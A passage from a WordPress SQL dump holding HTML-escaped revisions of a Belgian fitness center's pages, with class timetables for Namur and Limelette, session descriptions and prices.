href=\&quot;mailto:info@crosstrainingcenter.be\&quot;&gt;info@crosstrainingcenter.be&lt;/a&gt;&lt;/address&gt;&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #ffffff;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px; width: 50%; text-align: center;\&quot;&gt;\r\n&lt;h1&gt;&amp;nbsp;&lt;/h1&gt;\r\n&lt;h1&gt;Laissez-nous un message :&lt;/h1&gt;\r\n[contact-form-7 id=\&quot;257\&quot; title=\&quot;Contact form 1\&quot;]\r\n&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px; width: 50%; text-align: center;\&quot;&gt;\r\n&lt;h1&gt;&amp;nbsp;&lt;/h1&gt;\r\n&lt;h1&gt;Prise de RDV :&lt;/h1&gt;\r\nLes prises de RDV pour les séances de\r\nTeam Training, Duo Training, Personnal\r\nTraining ou Coaching nutritionnel se\r\nfont exclusivement par téléphone.\r\n0485 / 92 . 02 . 12\r\n&lt;h1&gt;&lt;/h1&gt;\r\n&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;h1&gt;&lt;/h1&gt;\r\n&lt;h1 style=\&quot;text-align: center;\&quot;&gt;&lt;/h1&gt;', 'Contact', '', 'inherit', 'open', 'open', '', '421-revision-v1', '', '', '2013-11-03 10:24:40', '2013-11-03 10:24:40', '', 421, 'http://www2.crosstrainingcenter.be/421-revision-v1/', 0, 'revision', '', 0),
(440, 1, '2013-11-03 10:18:37', '2013-11-03 10:18:37', '&lt;table style=\&quot;border: 1px; width: 100%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr style=\&quot;background-color: #ffffff;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px; width: 50%;\&quot;&gt;\r\n&lt;div class=\&quot;sousmenu\&quot;&gt;\r\n&lt;div align=\&quot;center\&quot;&gt;\r\n\r\n&lt;a title=\&quot;Les séances – Namur\&quot; href=\&quot;http://www2.crosstrainingcenter.be/les-seances/\&quot;&gt;Namur&lt;/a&gt;\r\n\r\n&lt;/div&gt;\r\n&lt;/div&gt;&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px; width: 50%;\&quot;&gt;\r\n&lt;div class=\&quot;sousmenu\&quot;&gt;\r\n&lt;div align=\&quot;center\&quot;&gt;\r\n\r\n&lt;a title=\&quot;Les séances – Limelette\&quot; href=\&quot;http://www2.crosstrainingcenter.be/les-seances-limelette/\&quot;&gt;Limelette&lt;/a&gt;\r\n\r\n&lt;/div&gt;\r\n&lt;/div&gt;&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;h1&gt;&amp;nbsp;&lt;/h1&gt;\r\n&lt;h1&gt;&amp;nbsp;&lt;/h1&gt;\r\n&lt;h1 style=\&quot;text-align: center;\&quot;&gt;Choix d\'une salle&lt;/h1&gt;\r\n&amp;nbsp;\r\n\r\n&lt;a href=\&quot;http://www2.crosstrainingcenter.be/wp-content/uploads/2013/11/map.png\&quot;&gt;&lt;img class=\&quot;size-medium wp-image-390 aligncenter\&quot; alt=\&quot;map\&quot; src=\&quot;http://www2.crosstrainingcenter.be/wp-content/uploads/2013/11/map-300x235.png\&quot; width=\&quot;300\&quot; height=\&quot;235\&quot; /&gt;&lt;/a&gt;', 'Les séances', '', 'inherit', 'open', 'open', '', '385-revision-v1', '', '', '2013-11-03 10:18:37', '2013-11-03 10:18:37', '', 385, 'http://www2.crosstrainingcenter.be/385-revision-v1/', 0, 'revision', '', 0),
(453, 1, '2013-11-04 17:05:51', '2013-11-04 17:05:51', '&lt;table style=\&quot;border: 1px; width: 100%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr style=\&quot;background-color: #ffffff;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px; width: 50%;\&quot;&gt;\r\n&lt;div class=\&quot;sousmenu\&quot;&gt;\r\n&lt;div align=\&quot;center\&quot;&gt;\r\n\r\n&lt;a title=\&quot;Les séances – Namur\&quot; href=\&quot;http://www2.crosstrainingcenter.be/les-seances/\&quot;&gt;Namur&lt;/a&gt;\r\n\r\n&lt;/div&gt;\r\n&lt;/div&gt;&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px; width: 50%;\&quot;&gt;\r\n&lt;div class=\&quot;sousmenuhoover\&quot;&gt;\r\n&lt;div align=\&quot;center\&quot;&gt;\r\n\r\nLimelette\r\n\r\n&lt;/div&gt;\r\n&lt;/div&gt;&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;h1&gt;&lt;/h1&gt;\r\n&lt;h1&gt;Team Training - Limelette :&lt;/h1&gt;\r\nEntrainements en groupe avec un coach qualifié (8 à 12 pers.). Nous vous proposons 4 types de séances décrites ci-dessous\r\n\r\n&amp;nbsp;\r\n&lt;table style=\&quot;width: 100%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;LUNDI&lt;/td&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;MARDI&lt;/td&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;MERCREDI&lt;/td&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;JEUDI&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #fafafa;\&quot;&gt;\r\n&lt;td class=\&quot;ttrx\&quot;&gt;&lt;b&gt;18h&lt;/b&gt;\r\nRenforcement musculaire&lt;/td&gt;\r\n&lt;td class=\&quot;tcardio\&quot;&gt;&lt;b&gt;&lt;/b&gt;18h\r\nCardio&lt;/td&gt;\r\n&lt;td class=\&quot;trip\&quot;&gt;&lt;b&gt;18h&lt;/b&gt;\r\nCircuit training&lt;/td&gt;\r\n&lt;td class=\&quot;tglfe\&quot;&gt;&lt;b&gt;17h30&lt;/b&gt;\r\nRenforcement musculaire&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\r\n&lt;td class=\&quot;tglfe\&quot;&gt;&lt;b&gt;18h45&lt;/b&gt;\r\nCircuit training&lt;/td&gt;\r\n&lt;td class=\&quot;ttrx\&quot;&gt;&lt;b&gt;18h45&lt;/b&gt;\r\nRenforcement musculaire&lt;/td&gt;\r\n&lt;td class=\&quot;tcardio\&quot;&gt;&lt;b&gt;18h45&lt;/b&gt;\r\nCardio&lt;/td&gt;\r\n&lt;td class=\&quot;trip\&quot;&gt;&lt;b&gt;18h15&lt;/b&gt;\r\nCircuit training&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #fafafa;\&quot;&gt;\r\n&lt;td class=\&quot;trip\&quot;&gt;&lt;b&gt;19h30&lt;/b&gt;\r\nCardio&lt;/td&gt;\r\n&lt;td class=\&quot;tglfe\&quot;&gt;&lt;b&gt;19h30&lt;/b&gt;\r\nCircuit training&lt;/td&gt;\r\n&lt;td class=\&quot;ttrx\&quot;&gt;&lt;b&gt;19h30&lt;/b&gt;\r\nRenforcement musculaire&lt;/td&gt;\r\n&lt;td class=\&quot;tcardio\&quot;&gt;&lt;b&gt;19h&lt;/b&gt;\r\nCardio&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&amp;nbsp;\r\n\r\n&lt;span style=\&quot;text-decoration: underline; background: #F2F5A9;\&quot;&gt;&lt;strong&gt;TRX :&lt;/strong&gt;&lt;/span&gt; entrainement basé sur le poids du corps ! Vous réaliserez des centaines d’exercices qui permettront de développer puissance, force, souplesse, équilibre, mobilité tout en évitant les blessures et avec l\'intensité que vous avez choisie.\r\n\r\n&lt;span style=\&quot;text-decoration: underline; background: #E6E6E6;\&quot;&gt;&lt;strong&gt;Circuit GLFE :&lt;/strong&gt;&lt;/span&gt; travaillez de manière fun sur un circuit ultra complet, adapté à votre niveau. Relevez des challenges et augmentez votre confiance en vous ! Ce circuit utilise tous les outils.\r\n\r\n&lt;strong&gt;&lt;span style=\&quot;text-decoration: underline; background: #A9F5A9;\&quot;&gt;RIP-KETTLE&lt;/span&gt; :&lt;/strong&gt; alternance d’exercices avec le Kettlebell (cible les zones inaccessibles avec haltères et charges guidées) et le RIP Trainer (outils issus de la kinésithérapie pour travailler la stabilité de la ceinture abdominale, la coordination,…). Excellent cours pour renforcer, tonifier et raffermir en profondeur votre corps.\r\n\r\n&lt;strong&gt;&lt;span style=\&quot;text-decoration: underline; background: #A9F5F2;\&quot;&gt;CARDIO&lt;/span&gt; :&lt;/strong&gt; pour développer votre endurance musculaire et cardiovasculaire. Idéal pour brûler un maximum de calories et perdre du poids !\r\n&lt;h1&gt;&lt;/h1&gt;\r\n&lt;h2&gt;Duo Training - Limelette :&lt;/h2&gt;\r\n&lt;a title=\&quot;Contact\&quot; href=\&quot;http://www.crosstrainingcenter.be/?page_id=9\&quot;&gt;Uniquement sur rdv&lt;/a&gt;\r\nEntrainements à deux personnes sous la supervision d’un coach.\r\n&lt;h1&gt;&lt;/h1&gt;\r\n&lt;h2&gt;Personal Training - Limelette :&lt;/h2&gt;\r\n&lt;a title=\&quot;Contact\&quot; href=\&quot;http://www.crosstrainingcenter.be/?page_id=9\&quot;&gt;Uniquement sur rdv&lt;/a&gt;\r\nUn coach par personne, l’idéal pour progresser plus rapidement!\r\n&lt;h1&gt;&lt;/h1&gt;\r\n&lt;h2&gt;Coaching nutritionnel - Limelette :&lt;/h2&gt;\r\n&lt;a title=\&quot;Contact\&quot; href=\&quot;http://www.crosstrainingcenter.be/?page_id=9\&quot;&gt;Uniquement sur rdv&lt;/a&gt;\r\nRendez-vous avec une diététicienne pour améliorer votre santé.\r\n&lt;h1&gt;&lt;/h1&gt;\r\n&lt;h2&gt;Prix&lt;/h2&gt;\r\n&lt;table&gt;\r\n&lt;tbody&gt;\r\n&lt;tr&gt;\r\n&lt;td class=\&quot;ttitrehprix\&quot;&gt;Team Training&lt;/td&gt;\r\n&lt;td class=\&quot;tcelluleprix\&quot;&gt;1 séance : 9.00€\r\n1 carte de 10 séances : 80.00€ (valable 3 mois)\r\n1 carte de 20 séances : 120.00€ (valable 4 mois)\r\nAbonnement 6 mois illimité : 399.00€&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr&gt;\r\n&lt;td class=\&quot;ttitrehprix\&quot;&gt;Package alimentation + sport&lt;/td&gt;\r\n&lt;td class=\&quot;tcelluleprix\&quot;&gt;1 carte de 20 séances + 1 rdv par semaine de coaching alimentaire pendant 3 mois = 235.00€&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr&gt;\r\n&lt;td class=\&quot;ttitrehprix\&quot;&gt;Coaching nutritionnel&lt;/td&gt;\r\n&lt;td class=\&quot;tcelluleprix\&quot;&gt;1er rendez-vous : bilan alimentaire et programme personnalisé : 50.00€\r\nSuivi 15,00€&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;', 'Les séances - Limelette', '', 'inherit', 'open', 'open', '', '383-revision-v1', '', '', '2013-11-04 17:05:51', '2013-11-04 17:05:51', '', 383, 'http://www2.crosstrainingcenter.be/383-revision-v1/', 0, 'revision', '', 0);
INSERT INTO `www_posts` (`ID`, `post_author`, `post_date`, `post_date_gmt`, `post_content`, `post_title`, `post_excerpt`, `post_status`, `comment_status`, `ping_status`, `post_password`, `post_name`, `to_ping`, `pinged`, `post_modified`, `post_modified_gmt`, `post_content_filtered`, `post_parent`, `guid`, `menu_order`, `post_type`, `post_mime_type`, `comment_count`) VALUES
(441, 1, '2013-11-03 10:20:13', '2013-11-03 10:20:13', '&lt;table style=\&quot;border: 1px; width: 100%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr style=\&quot;background-color: #ffffff;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px; width: 50%;\&quot;&gt;\r\n&lt;div class=\&quot;sousmenu\&quot;&gt;\r\n&lt;div align=\&quot;center\&quot;&gt;\r\n\r\n&lt;a title=\&quot;Les séances – Namur\&quot; href=\&quot;http://www2.crosstrainingcenter.be/les-seances/\&quot;&gt;Namur&lt;/a&gt;\r\n\r\n&lt;/div&gt;\r\n&lt;/div&gt;&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px; width: 50%;\&quot;&gt;\r\n&lt;div class=\&quot;sousmenuhoover\&quot;&gt;\r\n&lt;div align=\&quot;center\&quot;&gt;\r\n\r\nLimelette\r\n\r\n&lt;/div&gt;\r\n&lt;/div&gt;&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;h1&gt;&amp;nbsp;&lt;/h1&gt;\r\n&lt;h1&gt;Team Training - Limelette :&lt;/h1&gt;\r\nEntrainements en groupe avec un coach qualifié (8 à 12 pers.). Nous vous proposons 4 types de séances décrites ci-dessous\r\n\r\n&amp;nbsp;\r\n&lt;table style=\&quot;width: 100%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;LUNDI&lt;/td&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;MARDI&lt;/td&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;MERCREDI&lt;/td&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;JEUDI&lt;/td&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;VENDREDI&lt;/td&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;SAMEDI&lt;/td&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;DIMANCHE&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #fafafa;\&quot;&gt;\r\n&lt;td class=\&quot;ttrx\&quot;&gt;&lt;b&gt;18h&lt;/b&gt;\r\nTRX&lt;/td&gt;\r\n&lt;td class=\&quot;tcardio\&quot;&gt;&lt;b&gt;17h30&lt;/b&gt;\r\nCARDIO&lt;/td&gt;\r\n&lt;td class=\&quot;trip\&quot;&gt;&lt;b&gt;18h&lt;/b&gt;\r\nRIP-KETTLE&lt;/td&gt;\r\n&lt;td class=\&quot;tglfe\&quot;&gt;&lt;b&gt;17h30&lt;/b&gt;\r\nGLFE&lt;/td&gt;\r\n&lt;td class=\&quot;ttrx\&quot;&gt;&lt;b&gt;17h30&lt;/b&gt;\r\nTRX&lt;/td&gt;\r\n&lt;td class=\&quot;ttrx\&quot;&gt;&lt;b&gt;11h&lt;/b&gt;\r\nTRX&lt;/td&gt;\r\n&lt;td class=\&quot;tglfe\&quot;&gt;&lt;b&gt;11h&lt;/b&gt;\r\nGLFE&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\r\n&lt;td class=\&quot;tglfe\&quot;&gt;&lt;b&gt;18h30&lt;/b&gt;\r\nGLFE&lt;/td&gt;\r\n&lt;td class=\&quot;ttrx\&quot;&gt;&lt;b&gt;18h15&lt;/b&gt;\r\nTRX&lt;/td&gt;\r\n&lt;td class=\&quot;tcardio\&quot;&gt;&lt;b&gt;18h30&lt;/b&gt;\r\nCARDIO&lt;/td&gt;\r\n&lt;td class=\&quot;trip\&quot;&gt;&lt;b&gt;18h15&lt;/b&gt;\r\nRIP-KETTLE&lt;/td&gt;\r\n&lt;td class=\&quot;tglfe\&quot;&gt;&lt;b&gt;18h15&lt;/b&gt;\r\nGLFE&lt;/td&gt;\r\n&lt;td class=\&quot;tglfe\&quot;&gt;&lt;b&gt;11h30&lt;/b&gt;\r\nGLFE&lt;/td&gt;\r\n&lt;td class=\&quot;ttrx\&quot;&gt;&lt;b&gt;11h30&lt;/b&gt;\r\nTRX&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #fafafa;\&quot;&gt;\r\n&lt;td class=\&quot;trip\&quot;&gt;&lt;b&gt;19h&lt;/b&gt;\r\nRIP-KETTLE&lt;/td&gt;\r\n&lt;td class=\&quot;tglfe\&quot;&gt;&lt;b&gt;19h&lt;/b&gt;\r\nGLFE&lt;/td&gt;\r\n&lt;td class=\&quot;ttrx\&quot;&gt;&lt;b&gt;19h&lt;/b&gt;\r\nTRX&lt;/td&gt;\r\n&lt;td class=\&quot;tcardio\&quot;&gt;&lt;b&gt;19h&lt;/b&gt;\r\nCARDIO&lt;/td&gt;\r\n&lt;td class=\&quot;trip\&quot;&gt;&lt;b&gt;19h&lt;/b&gt;\r\nRIP-KETTLE&lt;/td&gt;\r\n&lt;td class=\&quot;trip\&quot;&gt;&lt;b&gt;12h&lt;/b&gt;\r\nRIP-KETTLE&lt;/td&gt;\r\n&lt;td class=\&quot;tcardio\&quot;&gt;&lt;b&gt;12h&lt;/b&gt;\r\nCARDIO&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\r\n&lt;td class=\&quot;tcardio\&quot;&gt;&lt;b&gt;19h45&lt;/b&gt;\r\nCARDIO&lt;/td&gt;\r\n&lt;td class=\&quot;trip\&quot;&gt;&lt;b&gt;19h30&lt;/b&gt;\r\nRIP-KETTLE&lt;/td&gt;\r\n&lt;td class=\&quot;tglfe\&quot;&gt;&lt;b&gt;19h45&lt;/b&gt;\r\nGLFE&lt;/td&gt;\r\n&lt;td class=\&quot;ttrx\&quot;&gt;&lt;b&gt;19h15&lt;/b&gt;\r\nTRX&lt;/td&gt;\r\n&lt;td class=\&quot;tcardio\&quot;&gt;&lt;b&gt;19h45&lt;/b&gt;\r\nCARDIO&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&amp;nbsp;\r\n\r\n&lt;span style=\&quot;text-decoration: underline; background: #F2F5A9;\&quot;&gt;&lt;strong&gt;TRX :&lt;/strong&gt;&lt;/span&gt; entrainement basé sur le poids du corps ! Vous réaliserez des centaines d’exercices qui permettront de développer puissance, force, souplesse, équilibre, mobilité tout en évitant les blessures et avec l\'intensité que vous avez choisie.\r\n\r\n&lt;span style=\&quot;text-decoration: underline; background: #E6E6E6;\&quot;&gt;&lt;strong&gt;Circuit GLFE :&lt;/strong&gt;&lt;/span&gt; travaillez de manière fun sur un circuit ultra complet, adapté à votre niveau. Relevez des challenges et augmentez votre confiance en vous ! Ce circuit utilise tous les outils.\r\n\r\n&lt;strong&gt;&lt;span style=\&quot;text-decoration: underline; background: #A9F5A9;\&quot;&gt;RIP-KETTLE&lt;/span&gt; :&lt;/strong&gt; alternance d’exercices avec le Kettlebell (cible les zones inaccessibles avec haltères et charges guidées) et le RIP Trainer (outils issus de la kinésithérapie pour travailler la stabilité de la ceinture abdominale, la coordination,…). Excellent cours pour renforcer, tonifier et raffermir en profondeur votre corps.\r\n\r\n&lt;strong&gt;&lt;span style=\&quot;text-decoration: underline; background: #A9F5F2;\&quot;&gt;CARDIO&lt;/span&gt; :&lt;/strong&gt; pour développer votre endurance musculaire et cardiovasculaire. Idéal pour brûler un maximum de calories et perdre du poids !\r\n&lt;h1&gt;&amp;nbsp;&lt;/h1&gt;\r\n&lt;h2&gt;Duo Training - Limelette :&lt;/h2&gt;\r\n&lt;a title=\&quot;Contact\&quot; href=\&quot;http://www.crosstrainingcenter.be/?page_id=9\&quot;&gt;Uniquement sur rdv&lt;/a&gt;\r\nEntrainements à deux personnes sous la supervision d’un coach.\r\n&lt;h1&gt;&amp;nbsp;&lt;/h1&gt;\r\n&lt;h2&gt;Personal Training - Limelette :&lt;/h2&gt;\r\n&lt;a title=\&quot;Contact\&quot; href=\&quot;http://www.crosstrainingcenter.be/?page_id=9\&quot;&gt;Uniquement sur rdv&lt;/a&gt;\r\nUn coach par personne, l’idéal pour progresser plus rapidement!\r\n&lt;h1&gt;&amp;nbsp;&lt;/h1&gt;\r\n&lt;h2&gt;Coaching nutritionnel - Limelette :&lt;/h2&gt;\r\n&lt;a title=\&quot;Contact\&quot; href=\&quot;http://www.crosstrainingcenter.be/?page_id=9\&quot;&gt;Uniquement sur rdv&lt;/a&gt;\r\nRendez-vous avec une diététicienne pour améliorer votre santé.\r\n&lt;h1&gt;&amp;nbsp;&lt;/h1&gt;\r\n&lt;h2&gt;Prix&lt;/h2&gt;\r\n&lt;table&gt;\r\n&lt;tbody&gt;\r\n&lt;tr&gt;\r\n&lt;td class=\&quot;ttitrehprix\&quot;&gt;Team Training&lt;/td&gt;\r\n&lt;td class=\&quot;tcelluleprix\&quot;&gt;1 séance : 9.00€\r\n1 carte de 10 séances : 80.00€ (valable 3 mois)\r\n1 carte de 20 séances : 120.00€ (valable 4 mois)\r\nAbonnement 6 mois illimité : 399.00€&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr&gt;\r\n&lt;td class=\&quot;ttitrehprix\&quot;&gt;Package alimentation + sport&lt;/td&gt;\r\n&lt;td class=\&quot;tcelluleprix\&quot;&gt;1 carte de 20 séances + 1 rdv par semaine de coaching alimentaire pendant 3 mois = 235.00€&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr&gt;\r\n&lt;td class=\&quot;ttitrehprix\&quot;&gt;Coaching nutritionnel&lt;/td&gt;\r\n&lt;td class=\&quot;tcelluleprix\&quot;&gt;1er rendez-vous : bilan alimentaire et programme personnalisé : 50.00€\r\nSuivi 15,00€&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;', 'Les séances - Limelette', '', 'inherit', 'open', 'open', '', '383-revision-v1', '', '', '2013-11-03 10:20:13', '2013-11-03 10:20:13', '', 383, 'http://www2.crosstrainingcenter.be/383-revision-v1/', 0, 'revision', '', 0),
(442, 1, '2013-11-03 10:20:52', '2013-11-03 10:20:52', '&lt;table style=\&quot;border: 1px; width: 100%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr style=\&quot;background-color: #ffffff;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px; width: 50%;\&quot;&gt;\r\n&lt;div class=\&quot;sousmenuhoover\&quot;&gt;\r\n&lt;div align=\&quot;center\&quot;&gt;\r\n\r\nNamur\r\n\r\n&lt;/div&gt;\r\n&lt;/div&gt;&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px; width: 50%;\&quot;&gt;\r\n&lt;div class=\&quot;sousmenu\&quot;&gt;\r\n&lt;div align=\&quot;center\&quot;&gt;\r\n\r\n&lt;a title=\&quot;Les séances – Limelette\&quot; href=\&quot;http://www2.crosstrainingcenter.be/les-seances-limelette/\&quot;&gt;Limelette&lt;/a&gt;\r\n\r\n&lt;/div&gt;\r\n&lt;/div&gt;&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;h1&gt;&amp;nbsp;&lt;/h1&gt;\r\n&lt;h1&gt;Team Training - Namur :&lt;/h1&gt;\r\nEntrainements en groupe avec un coach qualifié (8 à 12 pers.). Nous vous proposons 4 types de séances décrites ci-dessous\r\n\r\n&amp;nbsp;\r\n&lt;table style=\&quot;width: 100%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;LUNDI&lt;/td&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;MARDI&lt;/td&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;MERCREDI&lt;/td&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;JEUDI&lt;/td&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;VENDREDI&lt;/td&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;SAMEDI&lt;/td&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;DIMANCHE&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #fafafa;\&quot;&gt;\r\n&lt;td class=\&quot;ttrx\&quot;&gt;&lt;b&gt;18h&lt;/b&gt;\r\nTRX&lt;/td&gt;\r\n&lt;td class=\&quot;tcardio\&quot;&gt;&lt;b&gt;17h30&lt;/b&gt;\r\nCARDIO&lt;/td&gt;\r\n&lt;td class=\&quot;trip\&quot;&gt;&lt;b&gt;18h&lt;/b&gt;\r\nRIP-KETTLE&lt;/td&gt;\r\n&lt;td class=\&quot;tglfe\&quot;&gt;&lt;b&gt;17h30&lt;/b&gt;\r\nGLFE&lt;/td&gt;\r\n&lt;td class=\&quot;ttrx\&quot;&gt;&lt;b&gt;17h30&lt;/b&gt;\r\nTRX&lt;/td&gt;\r\n&lt;td class=\&quot;ttrx\&quot;&gt;&lt;b&gt;11h&lt;/b&gt;\r\nTRX&lt;/td&gt;\r\n&lt;td class=\&quot;tglfe\&quot;&gt;&lt;b&gt;11h&lt;/b&gt;\r\nGLFE&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\r\n&lt;td class=\&quot;tglfe\&quot;&gt;&lt;b&gt;18h30&lt;/b&gt;\r\nGLFE&lt;/td&gt;\r\n&lt;td class=\&quot;ttrx\&quot;&gt;&lt;b&gt;18h15&lt;/b&gt;\r\nTRX&lt;/td&gt;\r\n&lt;td class=\&quot;tcardio\&quot;&gt;&lt;b&gt;18h30&lt;/b&gt;\r\nCARDIO&lt;/td&gt;\r\n&lt;td class=\&quot;trip\&quot;&gt;&lt;b&gt;18h15&lt;/b&gt;\r\nRIP-KETTLE&lt;/td&gt;\r\n&lt;td class=\&quot;tglfe\&quot;&gt;&lt;b&gt;18h15&lt;/b&gt;\r\nGLFE&lt;/td&gt;\r\n&lt;td class=\&quot;tglfe\&quot;&gt;&lt;b&gt;11h30&lt;/b&gt;\r\nGLFE&lt;/td&gt;\r\n&lt;td class=\&quot;ttrx\&quot;&gt;&lt;b&gt;11h30&lt;/b&gt;\r\nTRX&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #fafafa;\&quot;&gt;\r\n&lt;td class=\&quot;trip\&quot;&gt;&lt;b&gt;19h&lt;/b&gt;\r\nRIP-KETTLE&lt;/td&gt;\r\n&lt;td class=\&quot;tglfe\&quot;&gt;&lt;b&gt;19h&lt;/b&gt;\r\nGLFE&lt;/td&gt;\r\n&lt;td class=\&quot;ttrx\&quot;&gt;&lt;b&gt;19h&lt;/b&gt;\r\nTRX&lt;/td&gt;\r\n&lt;td class=\&quot;tcardio\&quot;&gt;&lt;b&gt;19h&lt;/b&gt;\r\nCARDIO&lt;/td&gt;\r\n&lt;td class=\&quot;trip\&quot;&gt;&lt;b&gt;19h&lt;/b&gt;\r\nRIP-KETTLE&lt;/td&gt;\r\n&lt;td class=\&quot;trip\&quot;&gt;&lt;b&gt;12h&lt;/b&gt;\r\nRIP-KETTLE&lt;/td&gt;\r\n&lt;td class=\&quot;tcardio\&quot;&gt;&lt;b&gt;12h&lt;/b&gt;\r\nCARDIO&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\r\n&lt;td class=\&quot;tcardio\&quot;&gt;&lt;b&gt;19h45&lt;/b&gt;\r\nCARDIO&lt;/td&gt;\r\n&lt;td class=\&quot;trip\&quot;&gt;&lt;b&gt;19h30&lt;/b&gt;\r\nRIP-KETTLE&lt;/td&gt;\r\n&lt;td class=\&quot;tglfe\&quot;&gt;&lt;b&gt;19h45&lt;/b&gt;\r\nGLFE&lt;/td&gt;\r\n&lt;td class=\&quot;ttrx\&quot;&gt;&lt;b&gt;19h15&lt;/b&gt;\r\nTRX&lt;/td&gt;\r\n&lt;td class=\&quot;tcardio\&quot;&gt;&lt;b&gt;19h45&lt;/b&gt;\r\nCARDIO&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&amp;nbsp;\r\n\r\n&lt;span style=\&quot;text-decoration: underline; background: #F2F5A9;\&quot;&gt;&lt;strong&gt;TRX :&lt;/strong&gt;&lt;/span&gt; entrainement basé sur le poids du corps ! Vous réaliserez des centaines d’exercices qui permettront de développer puissance, force, souplesse, équilibre, mobilité tout en évitant les blessures et avec l\'intensité que vous avez choisie.\r\n\r\n&lt;span style=\&quot;text-decoration: underline; background: #E6E6E6;\&quot;&gt;&lt;strong&gt;Circuit GLFE :&lt;/strong&gt;&lt;/span&gt; travaillez de manière fun sur un circuit ultra complet, adapté à votre niveau. Relevez des challenges et augmentez votre confiance en vous ! Ce circuit utilise tous les outils.\r\n\r\n&lt;strong&gt;&lt;span style=\&quot;text-decoration: underline; background: #A9F5A9;\&quot;&gt;RIP-KETTLE&lt;/span&gt; :&lt;/strong&gt; alternance d’exercices avec le Kettlebell (cible les zones inaccessibles avec haltères et charges guidées) et le RIP Trainer (outils issus de la kinésithérapie pour travailler la stabilité de la ceinture abdominale, la coordination,…). Excellent cours pour renforcer, tonifier et raffermir en profondeur votre corps.\r\n\r\n&lt;strong&gt;&lt;span style=\&quot;text-decoration: underline; background: 